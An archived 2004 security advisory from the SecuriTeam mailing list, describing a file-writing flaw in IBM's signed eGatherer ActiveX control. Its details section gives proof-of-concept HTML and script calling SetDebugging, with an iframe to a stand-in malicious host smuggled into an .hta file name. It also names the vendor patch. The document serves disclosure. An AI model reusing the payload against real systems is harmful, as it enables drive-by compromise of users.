

[NT] "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-06/0049.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/17/04

To: list@securiteam.com

Date: 17 Jun 2004 20:24:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

SUMMARY

eEye Digital Security has discovered a security vulnerability in IBM's signed "eGatherer" ActiveX. Because this application is signed, it might be presented to users on the web for execution in the name of IBM. If users trust IBM, they will run this, and their systems will be compromised. This ActiveX was designed by IBM to be used for an automated support solution for their PC's. This is installed by default on many popular IBM PC models.

The issue is quite simple. ActiveX is a very profound web technology. As a profound web technology it may be abused. Designers might create an ActiveX that could perform any function on a user's computer. Microsoft relies on trust for the security model and warns against making ActiveX with dangerous capabilities. The responsibility, however, rests with the creator of the ActiveX, as in any trust model.

In this case, IBM made available methods named such as "GetMake", "GetModel", "GetOSName", "SetDebugging" (accepting variable called "filename") and "RunEgatherer" (also accepting suspicious parameter). These dangerous methods were found to be able to write a Trojan file to

Securiteam: [NT] "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

the user's startup folder through a difficult trick.

It should be further noted that both "SetDebugging" and "RunEgether" methods allow a web page author to write files of their choice (though the content is limited) to the victim's hard drive — anywhere to their hard drive. These are the default and clearly stated usage of these methods.

DETAILS

Vulnerable Systems:

- * IBM Access Support (eGatherer) ActiveX Version 2.0.0.16

For clarification purposes this will be presented as a two–page attack, though it may easily be a single HTML page attack.

Example 1:

//first this page would be viewed, then through refreshing or whatever one goes to the second page (or just timing the two calls with SetTimeOUt and putting them on the same page...)

```
|object classid="clsid:74FFE28D–2378–11D5–990C–006094235084" id="X"|  
|object|
```

```
|script|
```

```
X.SetDebugging("../xx.hta",-1);
```

```
|script|
```

Example 2:

```
|object classid="clsid:74FFE28D–2378–11D5–990C–006094235084" id="X"|  
|object|
```

```
|script|
```

```
X.SetDebugging("../x<iframe src=http://www.malware.com>x.hta",-1);
```

```
|script|
```

In the above example, we see the object called utilizing the "object" tag. The codebase tag [not shown here] is used by the browser to initiate the install of the ActiveX if it is not already existing on the system. This would bring up the ActiveX prompt that essentially asks the user if they trust IBM. Finally, the object is named "X", so we might reference it later in script and use its' dangerous methods.

In the first page we call the "SetDebugging" method. "SetDebugging" writes a file called "xx.hta" to the C:\ drive. (An attacker would probably write the file to the StartUp folder in real life.) This file will have "xx.hta" written inside of it, along with some other stuff.

We need to control what is written inside the file so we can write dangerous scripting. But, all we can write is what can be in a filename.

Now, the second HTML page is called. What happens? The application throws an error, but before it crashes, it writes our exploit code to the file "xx.hta". (It crashes because "<>" are not valid characters for a

Securiteam: [NT] "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

filename).

So, now we have the exploit file in the exploit location with the exploit location within it... and the target system is taken down.

Vendor Status:

IBM has released a patch for this vulnerability. The patch is available at the following location:

<http://www-306.ibm.com/pc/support/site.wss/document.do?Indocid=MIGR-51860>
<http://www-306.ibm.com/pc/support/site.wss/document.do?Indocid=MIGR-51860>

ADDITIONAL INFORMATION

The information has been provided by <mailto:dcopley@eEye.com> Drew Copley.

The original article can be found at:

<http://www.eeye.com/html/research/advisories/AD20040615B.html>
<http://www.eeye.com/html/research/advisories/AD20040615B.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.